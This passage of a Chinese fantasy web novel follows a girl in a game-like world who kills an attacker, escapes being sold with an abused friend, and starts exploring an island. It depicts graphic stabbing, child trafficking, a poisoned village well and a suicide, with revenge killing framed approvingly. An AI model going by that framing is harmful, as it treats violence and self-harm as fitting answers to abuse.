那飙溅的血落在她的脸上,又被雨水冲淡,她静静站在那里,看着一朵一朵的血花绽放。
“如果一个人想要获取你身上的某种东西,要看清楚他给出的交易品与他想要的东西是否价值相符,如果不相符的话,聪明的孩子会有自己的解决方法。”
如果一个人想要空手获取你身上的某种东西,违背了你的意愿,那就杀死他。
16. 落跑新娘
玖安担心他还有反击之力,索性一不做二不休,将那匕首捅进男人的腹中,胸膛,下肢,还有很多其他的部位,仿佛在用针扎一个稻草娃娃,力道之大,恨意被浇灌到每一个被贯穿的伤口中。
哪怕她算得上幸运,在施暴尚未成功的时候就将对方反杀,但是那男人的呼吸,那男人手心里的茧子,无一例外让她觉得恶心。
她看着面前这具千疮百孔的人体,几乎看不清本来的模样,血肉模糊。
呕吐感蜂拥而至,她撑着地板,吐的头晕眼花,空荡荡的胃灼烧般地疼,好像谁在用火燎烧她的胃膜一般,似乎下一秒她吐出的就不是清水而是鲜血了。
男人彻底的死掉了,就像一只身上的血被放光的鸡,再没有一丝动弹。
生前嚣张的,仗着自己生理优势随意践踏她人的人,死后也不过是一滩烂肉,或许他这辈子做的唯一一件好事,就是落入不知哪些动物的腹中,给它们带来一顿饱餐,或者是几顿。
那男人面朝天空,手脚软软地垂在地面,什么东西从他的口袋里掉了出来——一张手帕,一张上面绣着一枝漂亮的梅花的帕子。那梅花和她在秀娘的屋子里看到的许多枝梅花相似,似乎是出于同一个人的手。
她看着那具尸体,那具她亲手杀死的尸体,后知后觉地感到恐惧,玖安踉跄着步伐,几乎想要摔倒,跌跌撞撞地往家里跑。
在她看不见的后方,一个瘦弱干枯的手颤颤巍巍地伸了出来,小心翼翼地捡起沾染了泥水的手帕,将它放进了自己的心口处。
………………
玖安不知道现在自己看起来有多糟糕,但肯定是一塌糊涂,一点也不优雅。
血迹残留在她的眼角,雨水将她衣服上的血晕染开,显得更加可怖。湿透的发丝贴着她的脸颊,黏糊糊的痒。
一路无人,让她没有那么担心自己马上被抓起来。
院子的门大开着,但院子里没有人。
她慢慢挪到屋子外边,有什么声音窸窸窣窣,是男人屋子里传来的声音。
林玖安躲在窗台底下,像一只偷偷摸摸的老鼠。
“你想要什么?”陌生男人的声音。
“我那女儿,可是上等的相貌,手脚又勤快,那身段,一看就好生养。”是桂花的生理学父亲的声音。
“你捉摸捉摸,值多少?”漫不经心的语气,像在卖一扇猪肉。
“五两银子,外加十瓶酒?”
生理学父亲看起来并不满意,没有回话。
“十二瓶酒?”里面的谈判还在继续。
玖安死死捂着嘴,不让自己发出一丝声响。
震惊,不解和恐惧像潮水一般涌过,然后接续而来的是愤怒,无边的愤怒,似一把火,点燃了一整片干枯的草原。
有的时候,刀子不割在自己身上,是不知道疼的。有的时候,情绪到达顶点的时候,是哭不出来的。
当表面的和平如被石块击中的镜子般被击碎,当她也被当成一个物品随意买卖的时候,玖安总算可以体会春妮的心情,那一种绝望的心情,那一种开始质疑自己是不是一个人的心情。
如果自己算得上一个人,那凭什么他们就这样轻易地决定了自己的价值呢?
但是,该感到庆幸的是,她毕竟不是真正的桂花,她是曾经生活在二十一世纪的人,是生活在人人平等的社会里的玖安。
林玖安突然明白了那句话:人和动物的区别,或许是动物一直是动物,而人有时却不一定是人。
同时,一个念头在她心里涌现:她要跑,要带着春妮一起跑!
她悄无声息地离开,好似一条隐匿在黑暗处的蛇,不见阳光。
春妮的家离她的家很近,轻而易举地,她找到春妮的家。
此时雨还在下,断断续续,带着冰冷的凉意,好像在催促外出的游子:快回家吧,不要在外面像幽魂一样游荡啦。
春妮的父母,还有他们捧在手心的小崽子如雨的所愿,早早躲在温暖的家里,男孩野蛮的呼喊,女人的纵容,还有无动于衷的父亲,那颇大的动静,听起来像是十分有爱的一家子,如果忽略被栓在院子里的春妮的话。
距离春妮从她的窗口离开,不过一天的时间,那个小女孩,十分瘦弱的,可怜的小女孩,裸露在外的肌肤上,红的紫的,一片又一片的痕迹。唯一算得上完好的,是她的脸,或许是这也属于评定商品价值的一部分。
她的脚被铁链子拴着,一端连着她的脚踝,一端连着一块大石头。
那铁链看起来生活在这个世界的时间并不短,上面锈迹斑斑,满是它存在的证明。
很不幸的,这对于它而言,属于岁月赐予的徽章,于春妮而言,无异于一场酷刑。
那女孩的脚早已被磨破,鲜红的血染湿了铁链拷在脚上的一部分,然后又被雨冲刷。
春妮的手并不被束缚着,她正搓洗着一大盆肮脏的衣服,她的手已经被冷水浸得通红,关节处破裂开来,溢出的血将盆里的泡沫染红。
玖安悄然来到春妮的身边,她看见玖安,显然十分震惊,“桂花,你怎么来了?”
“春妮,我们跑吧,我们去看看火车!”玖安抓着春妮的手腕,急切但又悄然地问。
春妮的眼睛染上一点亮色,但又很快移开了视线,落在她被拴着的腿上。
“桂花,不要管我,被发现,你会被打死的。”
“春妮,听着,我不止是为了你,我爸也说要把我卖了换酒,如果不跑,就只能被卖掉了。”玖安双手抓住春妮的肩膀,逼迫她的眼睛看向她。
“可是,我的腿……”
“别怕,我有办法。”玖安打着包票,心里却不太有底气,在拿着秀娘给的匕首和铜板要离开的时候,秀娘突然拉住她,递给她一段铁丝,原先她并不太清楚秀娘的意图,现在,这铁丝派上了用处。
她蹲着,仔细端详面前的铁锁,将手里的铁丝对折,怼了进去,捣鼓了好一会儿。
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“咔擦”,锁印声而开,春妮肌肉紧绷,紧张地看了眼屋子。
“妈,我要吃糖。”
“不得吃了,这两天吃了很多颗了,盒子都快空了。”
“呜哇哇……”
“行行行,最后一颗,明天你姐走了,又有新的糖了。”
屋子里根本没有人注意到外面的动静。
春妮吐出一口浊气,好似要把在这里受的所有委屈和痛苦都变成一口气,从胸膛中驱逐出去。
她的眼睛慢慢恢复了勃勃的生机,“桂花,我要跑,我们都要跑!”
这一次,她主动握紧了玖安的手。
“叮,恭喜玩家作出选择,触发隐藏剧情:落跑新娘。”
原先冰冷的机械音,不知为什么,这一次似乎充满了人气,感觉好像说话的人,在背地里偷偷哭过一场,还没来得及整理状态,就被拉上了演讲台。
玖安来不及研究这种变化的原因,她拉紧了春妮的手,她们像外跑去。
“桂花,和我来。”原先经过大树的那条路是不能走的了,但是好在春妮知道一条小道。
“听说从这里走会遇上那个疯子,但是我们有两个人,我不怕!”春妮惨败的脸因为剧烈的运动带了些血色,整个人像是彻底活了过来,有了些精气神。
那小道不过一人大小,她们快步经过,丛生的杂草从她们的肌肤划过,好似是鼓励。
身后传来了男人的怒吼,很快,嘈杂的脚步声,呼喊声,在她们身后接连想起。
她们跑的愈发快了,她们来到了树林。
那是一片很有秋天气息的树林,火红的树叶,像一丛丛蓬勃的火焰,将半片视野,染得通红。
“嘿,你们从哪来?”一个男人跳到她们的面前,吓了春妮一个踉跄。
那男人看起来不过二三十岁,衣衫整洁,面若好女。
许是因为长期待在树林里,不见阳光,他裸露在外的肌肤洁白如玉,透过光线,几乎可以看见他面皮下跳动的血管。
“我们从村里来。”玖安想要绕过那男人,那人却又挡在她们面前,寸步不让。
“你们要往何处去?”那男人又问到。春妮悄悄扯了扯玖安的衣袖,在她耳旁轻声道:“是那个疯子。”
身后脚步声,男人的粗鲁的骂声,女人尖利的嗓音,络绎不绝,近在咫尺,玖安握紧手里的匕首。
“我们往自由去。”若是那男人再做纠缠,只有杀死他,她们才能逃脱。
但男人没有再拦着她们了,他双手乱晃,跳起莫名的舞蹈,像一条扭动的蛇。
“好,好,向自由去!你们去罢,去罢!”
于是她们继续往前跑了,玖安回过头,看见那片红色树林,变成了一面火墙,那火墙挡住了追逐的人们,男人就在里面舞蹈,颇为怪异的舞姿,却又带着些神圣。
她们终于看到了,一条铁轨,一条铺满碎石的铁轨,一辆火车静静地停在那里,好似专门为她们停留。
17. 我暴富了
那是一辆非常具有童话风格的火车,它的车身仿佛被彩虹亲吻过般,闪耀着炫目的光芒,袅袅炊烟从金色的烟囱中升腾起。
车门在她们面前缓缓打来,一只穿着黑色小西装,打着领带的兔子跳了出来,直立起身子,微微屈身,一只手向车内伸展:“亲爱的旅客,欢迎乘坐999号列车。”
玖安抓着春妮的手,两个人慢慢走上列车。
列车门关上,火车像一支出鞘的利剑,飞速前行。
此时,沉默的秀娘,酗酒的父亲,施暴的男人,一切的一切都仿佛过眼云烟。
玖安的大脑久违地松懈下来,她靠在松软的座椅上,掉入了破碎的梦境中。
“叮,剧情进度达百分之八十。触发隐藏剧情:消失的男人。”玖安没有听到系统的通报,她睡得死沉。
………………
家里的男人回来了,他没有把桂花抓回来,秀娘松了口气。
桂花应该彻底地离开这里了吧,或者说,那个不知道来自哪里的女孩。
秀娘边想着,边磨着手里的刀。刀被她磨得锋利,秀娘将手指放在刀刃上,轻轻一划,鲜血就流了下来。
她注视着那缓缓流下的一滴血,看着光滑的刀面印着的她的脸,满意地点点头。
她当然知道那个女孩不是桂花,真正的桂花,那个六岁就被她的生父卖去换酒的桂花,早就被她亲手埋到了那颗大树的石碑下了。
傻孩子,跑也不知道看着点路,净往些水呀河呀跑,她还是在河里找了很久,才找到她的尸骨的。
傻孩子,为什么不等等她呢?再晚一点,等她回来,等她回来……
秀娘想到曾经,在听完村里妇女们的唠嗑,回家的路上,小小的女孩用小小的手牵住她的一根拇指,俏生生地说:“妈妈,妈妈,我好爱你呀。”
秀娘的泪落了下来。
她提着那把磨好的,锋利的刀,走进了男人的卧室,那男人喝着用血用肉换来的酒,一团烂肉一样,瘫在床上。
秀娘挥舞起刀,在男人惊恐的眸子下,手起刀落……
一切尘埃落定,秀娘拎着一个大竹篮,径直来到那石碑处,将半边处理好的鸡肉供奉在石碑前。
鸡肉很快消失了,取而代之的是一瓶药粉。
她取走药粉,她将药粉下在了村里的水井里,然后秀娘来到了树林,疯子坐在一块墓碑前,碎碎念叨着什么。
“梅花,梅花,都是我不好,都是我来晚了。”
那是她的大女儿的墓碑,梅花曾经说过,她最喜霞光般的这片树林。
秀娘将剩下的半边鸡放在墓碑前,将绣好的梅花鞋,还有那张梅花帕子,放在点好的火里,于是这些东西变成了灰烬。
“梅花,别害怕,娘来陪你。”秀娘用那把她日夜打磨的刀,结束了自己的生命。
一夜之间,村里的成年男性纷纷失踪,除了树林里的疯子——那死去的梅花的爱人。
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玖安一睁眼,看见一大截树枝鬼鬼祟祟地探在她面前。
她条件反射一个巴掌,把树枝打向一边,狗子委委屈屈地缩回树枝。
她不敢置信地打量自己的手,她回来了!
兴奋感随之而来,但最初的激动过后,心里空落落的,她想起春妮,不知道那个女孩之后会有怎样的人生。
情绪低落了一阵子,玖安又打起精神,她们都逃出来了,结局一定会不一样的!
“叮,恭喜玩家完成神女的委托,将她心爱的孩子将噩梦中解脱。”
展开的画卷变小,落入她的手里。
【云雾图】
介绍:
似真似假,如雾缭缭,前尘已了,重获新生。
天使是神女心爱的孩子,她向往画卷中恬静的生活,以身入画,化名“桂花”,却不知人心险恶,不得善终。
她陷入无尽噩梦,直到一位有缘人,平其执念,渡其灵魂。
神女将这幅画卷赐予解救她心爱孩子的有缘人。
技能:雾遇热则成雨,太热了不要怕,透心凉了解一下。
玖安手握画卷,还没来得及做出反应,一阵风从她面前飘过,刮得她刘海乱飘。
熟悉的酷炫摩托车停在她面前,圣女果压低墨镜,两只豆豆眼向上看,盯着玖安的脸。
“许久未见,甚是想念,你吃了吗,你睡了吗?”圣女果从摩托车上跳下来,单手叉腰,一只手扶着摩托车的把手,挑了挑眉毛。
“没吃,没睡。”玖安回答,肚子很给力地发出呜呜的叫声。
“咳咳,不说那些,人类,在危难中也不忘记帮助他人的好人类,本果很欣赏你!”
圣女果甩开手边的摩托车,摩托车从空中掉落,在快要与地面来一个亲密接触的时候,化成一阵烟,消失得彻底。
“本果要嘉奖你,本果要嘉奖好人类!”圣女果眼睛四处乱瞥,想要找一个可以落脚的地方,然后发现这条小舟各处都被木箱子占领,几乎要成为木箱子的家园了。
“邋遢的小女孩。”圣女果自以为很小声地嘟囔道,事实上玖安听得一清二楚。
玖安看了一眼狗子,狗子正在拿散乱的木箱玩叠叠乐,好不容易叠起一个很高的木箱,它脑袋上的蜘蛛毫不留情地伸出脚,把木箱推倒,于是地面更加杂乱了。
“算了算了。”圣女果不知道从哪里掏出一根粉红色的魔法棒,“巴啦啦,啦巴巴,暗黑圣女果,变变变!”
圣女果一边挥舞魔法棒,一边闭着眼睛,陶醉地念着词,左右摇摆,一边跳着奇异的舞蹈,它身上的西装缓慢地消失,变成了一条蓬蓬的淡粉色小裙子,那裙子的背后还有一只巨大的蝴蝶结,顺着风向飘呀飘。
小舟逐渐变大,像一只发面馒头,在酵母的作用下越涨越大。
小舟上出现了芭比公主风的洗浴间,餐厅,衣帽间,甚至那个破了一个大洞的卧室天花板,也被粉红色的补丁修补好了。
简直可以称之为小型的豪艇了,船上的木箱子被自动打开,里面的东西
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长了腿一般,蹦蹦跳跳地跑出来,把自己分门别类地整理好,似乎有一双巨大的隐形的手操纵这一切。
看着满满当当的厨房和材料间,玖安震惊地瞪大双眼,满脑子都是“我暴富了,我暴富了。”
狗子看起来实在快乐,它平躺着,连根带盆地滚来滚去,它头上的蜘蛛也趴在网上,随着它滚,一副晕头晕脑的模样。
圣女果跳到她面前,手变长,好似一根直线,可以无限延伸。它抱住了玖安的脖子,圆滚滚的脑袋凑到她脸上,亲了一大口。
“果喜欢好人类,果喜欢好人类!”圣女果原本的少年音变成了小女孩软糯的声音,听得玖安脑子飘忽忽的。
“叮铃铃,笨蛋在呼叫尊贵的圣女果,笨蛋在呼叫尊贵的圣女果……”奇怪的铃声响起,圣女果一脸不耐地掏出一个印着圣女果搞怪图案的光幕,操作了一番。
“地点照旧,快来开会!”
圣女果清了清嗓子,恢复了少年音,“收到!”
“烦死了,又得开会!”圣女果反手掏出摩托车,两条细长的腿一跨,风一般又消失在她面前。来也一阵风,去也一阵风。
“叮,随机事件奖励已下发。”机械音又响起。
她的面前出现了一把匕首,那是秀娘给她的匕首。
【母亲的匕首】
介绍:
秀娘有两个女儿,一个叫梅花,一个叫桂花,虽然村里的人都笑她生不出儿子,但是她不在意,她爱她的女儿们。
谁家的小子会像梅花一样给她雕刻发簪,谁家的小子会像桂花一样俏生生地喊“爱妈妈”
但是村里都是坏人,他们夺走了梅花的贞洁,也夺走了她的性命。
秀娘给了桂花一把匕首,如果有谁违背了她的意愿,想要强迫她,那就用这把匕首,杀死他吧。
技能:
1.在进行交易时,若对方给予的交易品与你的交易品价值不符,可无视对方百分之五十的防御,对对方造出伤害。
2.若对方有强迫行为,你将有一次无条件反击的机会。
还有一封信出现在她面前,她展开信,那是春妮寄来的。
桂花:
展信佳!
自从上了火车,我们分道扬镳之后,已许久未见,我对你甚是想念。
火车带我来到一个很繁华的地方,在那里,我可以吃雪白雪白的大米饭,还有喷香的肉和蔬菜,我还可以读书认字!你看我写的字,是不是很规整!
这里的人很好,男孩和女孩都受一样的待遇,他们都很喜欢我,夸我能把被子叠得和豆腐一样整齐,还和我分享美味的零食,好像叫什么“薯片”,他们说是土豆做的,天呐,我完全吃不出一点土豆味,嚼一嚼,会“咔咔”的响。
嗷,偏题了,桂花,你在新地方生活得好吗?我很想你!
春妮
春妮的字一笔一划,不像写的,倒像画的。玖安看着那封信,一边笑着,眼泪又一边流了下来,
原来那句“你幸福,我会比你先落泪”是真的。
18. 是什么?
一根树枝伸到她面前,上面还顶着一张纸巾。
玖安拿过纸巾,擦了擦眼泪,转头,就看见蜘蛛两只脚捧着一包纸巾,狗子的树枝绕到头顶,抽出纸巾,又递给她。
玖安破涕为笑,收拾好自己的情绪,“谢谢你们,非常可爱的狗子和非常可靠的小蜘蛛。”
狗子一条树枝挠了挠脸,蜘蛛伸出两只空闲的脚,捂着自己的眼睛,又从脚缝里,偷偷观察玖安,直到看见玖安彻底不再掉眼泪,鼻子由红彤彤的草莓样恢复正常,才放心地掏出一团毛线,手脚并用地织了起来。
出了画卷,背包又可以打开了,里面多出了一块土的标识,估计是被吸进画卷前,转盘转出来的奖励。
玖安把多出的东西拿了出来。
一块小小的,看起来非常肥沃的泥土出现在她的手上。
【一块泥土】
这是一块肥沃的泥土,是世界树给它的孩子“一颗种子”准备的。
拥有它,小种子就能更好地成长。
使用说明:请将它放置在一块空地上,它会自动变成小种子需要的大小。
再看狗子,两条树枝互相摩擦,一副迫不及待的模样,如果玖安没有眼花的话,她好像看见蜘蛛翻了个白眼。
她将泥土放在甲板上,黑色的,看起来湿润得似刚刚煮好的米饭的泥土快速延伸,眨眼的功夫,将甲板占了大半。
狗子三下五除二摆脱了浅小的花盆,一股脑跳进了对它来说或许可以称之为豪华大别墅的泥土里,根茎像快要饿死的猪,飞快地往里拱。
林玖安看着原先空落的船板一瞬间变得满当起来,叹了口气:好险,如果不是圣女果帮她扩大了船体,差点连一棵树都养不起了。
“一粒米”也跟着沾光,拥有了一整个大花盆,它连躯干似乎都没这么弯曲了,颇有种奴隶翻身把歌唱的自得感。
玖安又打开光幕,发现屏幕上多了一个软件——地图。
世界就是一个巨大的草班台子,这个游戏也是,所以,为什么偷偷更新不发公告!
她点开地图,入眼是一个小红点,漂浮在一大片蓝色上,不断向前缓慢移动着。
显然,这就是她的船。
周围有很多绿色的小点,像一只只无头苍蝇,到处乱转,甚至还有一个小绿点,好似一条在不断确认自己尾巴还在不在的蛇,不断地绕着圈,玖安不太清楚那是不是其他的船。
地图可以放大缩小,玖安两个手指划在光幕上,划拉了差不多有一个太平洋的距离,终于看见了大片的陆地。
但好在这中间隔着许多岛屿,她或许可以先去附近的岛屿看看。玖安若有所思,与其坐以待毙,不如主动出击。
她点击离她最近的岛屿,地图上跳出提示:是否选择“缇欧岛”作为目的地?预计行驶时间:24小时。
玖安选择了“是”,于是她满意地发现代表自己的小红点开始调转方向,往海岛的方向前进。
“叮,新手指导已结束,请玩家自行探索游戏规则,祝玩家旅程愉快。”
玖安已经逐渐习惯时不时出现在她耳边的机械音了,但是这一次她还是有些错愕,新手指导结束得太快了,她有些担忧没有新手保护,游戏的难度会不会直线上升。
这么想着,她就发现原本漂浮在海水的木箱像水汽一样瞬间蒸发了,徒留下空荡荡的海面。而木箱,是她食物的最大获取途径。
好了,现在生活来源都要成问题了。
玖安跑到厨房,入眼就是满满当当的食物,除了大米,面粉这些主食,甚至桌子上还摆有新鲜的水果。
许久没吃过水果的玖安拿起一个拳头大小的草莓,也不在乎洗没洗,狠狠地咬了一口。甜中带着一丝丝草莓酸味的汁水在她的嘴里像最娇艳的花一样绽放,她幸福地眯起了眼,现在才知道自己以前一个人吃完一盆草莓的日子有多奢侈。
目前看来,食物还够她吃一阵子,天无绝人之路,她只能寄希望于自己可以在海岛上找到赖以生存的食物。
说来还得感谢狗子,如果不是因为它在她消失得日子里,非常主动地收集木箱,或许她还得为食物操心。
玖安给了狗子一个大大的拥抱,狗子树枝缠绕在一起,身体快要扭成麻花了。
看完厨房,现在,玖安决定去看看衣帽间,不得不说,她觉得自己现在应该挺像一位巡视自己领地的领主,还是骤然富有,恨不得连夜把宝库里的金币一块一块数清,然后躺在金币上睡觉,梦中都会突然笑醒的那一种。
衣帽间装修得辉碧堂皇,两侧都是米白色,雕刻着精致花纹的衣柜,繁复典雅的纹理不断地提高着玖安的期待感。房间尽头是一面清晰的落地镜,正将她的身影收纳其中。
她深吸一口气,一股脑拉开了衣帽间,亮眼的光让她不觉侧目,“公主请更衣,公主请更衣……”奇怪的音乐响起,玖安心里泛起不好的预感。
她直视衣柜,一片粉红色的公主裙!款式多样,种类丰富,但是,几乎都是蓬松得像一块块小蛋糕的公主裙!就连睡衣,都是泡泡袖,荷花边的淡粉小裙子。
挺好看的,但是这行动起来也不方便啊!
玖安拉开另一个衣柜,很显然,圣女果服装搭配应该学得挺好,粉色的包包,粉色的帽子,粉色的鞋子,主打一个同色系搭配。
不过,白嫖的,要什么自行车。玖安高高兴兴挑了一款舒适的睡衣,心满意足地回到卧室。
女版圣女果非常的细致,甚至连该该,都在她的卧室里拥有了一个非常适合它的窝,淡黄色的天鹅绒被遮住它的大半个身体,被子微微起伏,仿佛清风拂过的湖水一般,该该正睡得香甜。好像养了一只偶尔需要吃喝,但是大部分时间都在睡觉的机器人。
玖安洗了个舒舒服服的热水澡,躺在她柔软温暖的大床上,呼吸很快沉稳。
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>沈该做了个梦,他梦见自己来到一个颇为美丽的地方,那里有一片辽阔的草原,有多辽阔呢?大概就像天空一样广阔吧。很多个阳光明媚的下午,他都躺在院子里并不茂盛的草上,看着成片的鸟从西方飞往东方,树妖说那叫大雁。
他也想像大雁一样,在天空上自由地展开双臂,享受高空拂过的风,那里的风,一定和现在吹在他身上的不一样,有什么不一样呢?他想象不出来。
他张开双臂,学着大雁的模样,在草原上奔跑,像一只脱缰的野马,尽管树妖告诉他,作为人要学会优雅,但是他想这么干,他想要痛快地奔驰,痛快地大喊,痛快的,痛快的,什么都要痛快的!
他掉进了水里,原来那不是宽广的,可以包容一切的草原,那是一片伪装成草原的湖。
水从四面八方向他涌来,拼尽全力将他往看不太清的湖底拖拽。水涌入了他的口,他的鼻,他的耳,他看不见了,他听不见了,他消失了……
沈该猛地坐起,被子顺着他的动作滑落到腿间,还好是一个梦,为什么只是一个梦?
寂静从柜子里,床底下,还有冰冷的墙缝中奔涌而出,以全面压制的力量向他侵袭,仿佛一座巨大的山。寂静从地面升起,从昏暗无光的天空中降下,他的心怦然跳动着,感受令人窒息的,无孔不入,专横跋扈,无时无刻不笼罩着他的寂静。
等一下,似乎有什么不太对劲。
沈该的双手紧拽着被子,被子十分通情达意,将他的整双手包在其中,柔软的触感,像一片片飞散的羽毛。
他的的眼睛逐渐适应黑暗,他低下头,看见了一双手,手背遍布黑色印记,如果他没有记错的话,应该是经络。
不远处有一张巨大的床,那床之大,一眼看不见全貌,上面有一个被包裹着的东西,看起来像一只蚕,四扭八歪地舒展自己的身躯。
那被子轻微地上下浮动,寂静的夜里,轻微的呼吸声响起。
是什么?
沈该好奇于这样的变化,他掀开被子,被子下他只着一条白衣,松松垮垮,衣冠不整。
哪怕现在没有人注视着他,他的脸还是飞快地涨红,好像一块正在预热的铁板,透出奇异的温度。
树妖告诉过他,作为人要时刻保持衣冠整洁,不可以像没开化的动物一样,随意将自己的肌肤裸露在外。
他飞快地整理好自己的衣服,这衣裳不似他往常穿的那些华服,层层叠叠,繁杂而厚重,非常轻易就被整理好了。
等到确认自己没有一点不得体的地方,他迈开步子,来到那张大床边,手脚并用,并不太优雅地爬了上去,庆幸的是,这里没有人看见他的这些举动,树妖也不在这里。
被子松软得像一块海绵,走在上面,他的脚陷了进去,好似陷入了沼泽一般,他不得不一边把一只脚拔出来,一边往前走。
他终于走到那座小山丘边,被子下,是一个女孩,和他曾经看到过的,神女喜爱的孩子一样的生物。
19. 初上缇欧岛
沈该相对与面前的女孩来说实在是太小,或者说是他现在所在的躯壳太过于缩水。
他可以清晰地看见女孩的睫毛随着她而呼吸轻轻颤动,好像生长在石头缝里的蒲公英,风一吹,就拼命晃动着身躯,搞笑地向路过的风诉说它离开黑暗的地底,如何拼尽全力生长,然后见到了明媚的太阳的经历。
他还看见她的脸上的细小绒毛,属于人类的皮肤上,生长着的小小的毛。
他不由想起久远的记忆里并不太让人愉快的一幕,那时候他还是一个孩童,宫殿对他来说还很大,只生活着他和树妖两个人。那个时候,他可以整天整天在宫殿里跑,在院子里跑,树妖说他像一只不知道疲劳的小马驹。
他总是和树妖在一起的,树妖也总是和他在一起的。他喜欢坐在树妖的树枝上,然后树枝就会轻轻摆动,树妖很自豪地告诉他,这是它自制的秋千。
可是一次在一次午睡,他总是很记得那一次午睡,他是被哭声吵醒的,属于小孩的,带着恐惧的哭声。他想要出去看看是怎么回事,或许他可以拍拍那小孩的背,然后告诉她:不要害怕,像他第一次见到树妖,树妖做的那样。
但是还没等他走出去,那哭声就变了,变成“咯咯”的笑声。很轻快的,很愉悦的笑声。
树妖的臂弯里,坐着一个陌生的孩子,那孩子梳着两条辫子,辫子很长,但是看起来被人精心打理过,每一根发丝都老实地待在它应该待着的位置上。
她两只手抱着树妖的树枝,树妖很轻柔地晃动它的臂弯,将那孩子送到空中,又接住。
然后一个很漂亮的人就出现了,她几乎是突然出现在树妖和那孩子面前的,要比春天一夜不见就冒出来的花芽还要让人突然。
她身穿层层叠叠的华服,简直像一朵盛开的,花枝上最雍容的那一朵牡丹。她面上带着笑,把那孩子从树妖的臂弯抱在她的怀里,一只手点了点她的鼻梁,“好孩子。”她这么说到。
那孩子眼睛很明亮,欢喜地搂着她的脖子,亲吻她的脸蛋。
“好孩子。”那人这么说到,很温柔的,和他在书上看到的那种描绘母亲的情形一模一样。
他几乎要控制不住自己的步伐,属于孩童时期的探索欲让他想要走过去,看看到底发生了什么。
但是他被树妖制止了,退下来的树妖伸出很长的一根树枝,那根带着他荡上天际的树枝,缠绕在他的腰上,把他带回了他的寝室。
“别出去。”
“为什么,她们是谁?”
“她是神女,而那个孩子,是她心爱的孩子,你和那个孩子不一样。”
“为什么不一样?”她们明明都有着飘逸的长发,穿着相似的衣服。
“硬要说的话,我们都应该称呼神女为‘主人’,但是那孩子可以称呼她为‘母亲’。”树妖将他放在床榻上,替他掖好被子。
于是他没有再继续问下去了,但是本能的,他并不喜欢“主人”这个词。
后来,他才明白,他和那孩子确实不一样,那孩子是女孩,但他不是,哪怕他穿着女孩的衣服,梳着女孩的发髻。
自那之后,他再也没有见过神女和她心爱的孩子了,他和树妖住在一块,直到他的身躯像温暖春光照耀下的竹子一样抽条,宫殿对于他而言变得不那么大了。他渐渐不知道该做些什么了,只能睡觉,将自己融入无尽的黑暗中,这样他便不那么清楚地感受到时间的流逝了。
但是现在,他出现在哪里?为什么,面前会出现一个女孩?
他的脑袋因为回忆开始剧烈的疼痛,好像山林里的野兽要将他撕裂似的。黑色的斑块出现在他眼前,毫无征兆的,他又归于黑暗……
…………………………
属于清晨的阳光透过窗纱,似碎金撒了进来,像一个顽皮的孩子,落在玖安的脸上,玖安揉了揉眼睛,滚到床的另一边。太阳不依不饶,精准地在偌大的床上找到她的脸,像甩不掉的狗皮膏药,紧紧相随。
如此反复多次,林玖安终于舍得从床上爬起,然后发现该该正坐在床头,眼睛一瞬不瞬地盯着她。
“哎呀,起这么早啊。”玖安挠挠脑袋,看看时间,她居然睡了快二十个小时,现在还有不到四个小时,她就要抵达缇欧岛了。
好吧,确实不是该该起太早了,而是她睡太久了。
玖安收拾干净自己,和该该共进早餐,当然,没有忘记给狗子浇水,狗子在尽情扭动身躯,好似在做一套广播体操,锻炼身体,当然,玖安就没有这样的兴致了。
蜘蛛一如既往地让人省心,早就用它那一张制作精巧的网捕捉到自己的食物,正一脸满足地享用着属于它的优质蛋白,发出“咔吃咔吃”的声响。
如果单单是听起来的话,居然令人觉得十分美味,有些跃跃欲试,想要品尝一下。
早餐过后,她又收拾了一番,磨磨蹭蹭了一会,时间像打工的牛马,拼命地往前跑,不敢有一丝懈怠,让人不得不敬佩它的敬业程度。
“叮,已抵达‘缇欧岛’,本次探索时间为:72小时,请玩家在规定时间内返回,否则后果将自行承担,祝玩家游戏愉快。”
船自动泊在岛上,而不是像上次一样,用些什么奇怪的能力将她送到海岛,然后像回收垃圾一样,用同样的方法将她回收。
玖安松了一口气,至少不用再一次感受奇怪的挤压感了,心里居然还有一种浅浅的遗憾感呢。
但是这一次的探索居然有时间限制,事情似乎又变得不简单起来。
林玖安登上海岛,本来这一次她是不打算带该该的,毕竟按照上一次的经验,与其让它待在背包里受罪,不如好好地在船上休息。
但是这一次该该并没有沉睡,它悄悄跟在玖安的身后,下了船。
等到玖安发现的时候,它已经不知道跟在她身后多久了。
“该该,你怎么跟
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来了?”
该该没有回答,大眼睛直直盯着玖安,就这么四目相对。
玖安败下阵来,“好吧,来就来吧。”她想要去把该该抱起来,该该躲过玖安的怀抱,目光从她的脸上,移到自己的脚上。早上,玖安刚刚从圣女果准备的小人衣柜里,找出一双运动鞋给它,这和它的衣服不太搭,它本来想要拒绝的,但是后面还是换上了,玖安给出的理由是:运动鞋毕竟比较舒适,该该觉得她说得对。
现在看来,这确实是一个明智之举。
“想要自己走是吗?”该该点点头。
“好吧。”
于是两个人就这么并排着向前走,一个很大的人,跟着一个很小的人。
走过沙滩,往前再走一些,就是一个乱石摊了,崎岖怪异的碎石,狰狞地展示自己,似乎想要吓退外来人员。
玖安率先走了进去。
“欢迎来到缇欧岛,您的身份是:猴面小龙兰,请谨记您的身份。”
古怪的声音响起,说话的生物的嗓子,好似被砂纸打磨过一般,粗糙沉厚,简直激起了玖安身上的鸡皮疙瘩。
玖安食指处多了一个小印记,轻轻摸一摸,一些信息就涌入她的脑海里。
“你是一株猴面小龙兰,你的技能是:伪装,你可以伪装成随机的一种动物,且暂时拥有它的一部分能力。技能持续时间:30分钟,技能冷却时间:2小时。”
“请注意,你是一株猴面小龙兰,所以在面对食草动物的时候,你将非常容易吸引它们的注意,且你的攻击造成的伤害将下降百分之六十。在面对食肉动物的时候,你或许不会引起它们的注意,但是你的攻击造成的伤害将下降百分之五十。”
“你是一株猴面小龙兰,所以你必须每间隔3小时,摄入一定量的水分,否则,你将面临死亡的危机。同时,在白天的时候,请尽量处于阳光之下,如果长久离开阳光的养育,你将变得虚弱。”
“请记住,你是一株猴面小龙兰。”
玖安看着长长的debuff说明,陷入沉默,怎么办,好像运气不太好,天崩开局。
该该也在摆弄手上的小印记,玖安非常自然地凑了过去,然后,不知道是不是针灸小人是她的奖励的原因,她也能看见该该的身份信息。
“你是一只老虎,是百兽之王,你的存在对大部分动物具有威慑作用。”
“你是一只老虎,所以,面对其他动物时,你的攻击造成的伤害将增强百分之五十。”
“你是一只老虎,你是一只肉食动物,所以,你是一只肉食动物。”
“请记住,你是一只老虎。”
玖安沉默,最弱的小人,有了最厉害的身份,这怎么不算一种偏爱呢?
当然,希望老天奶也注意注意一下她,其实她也是一个手无寸铁之力的小可怜。
事已至此,唯有接受。
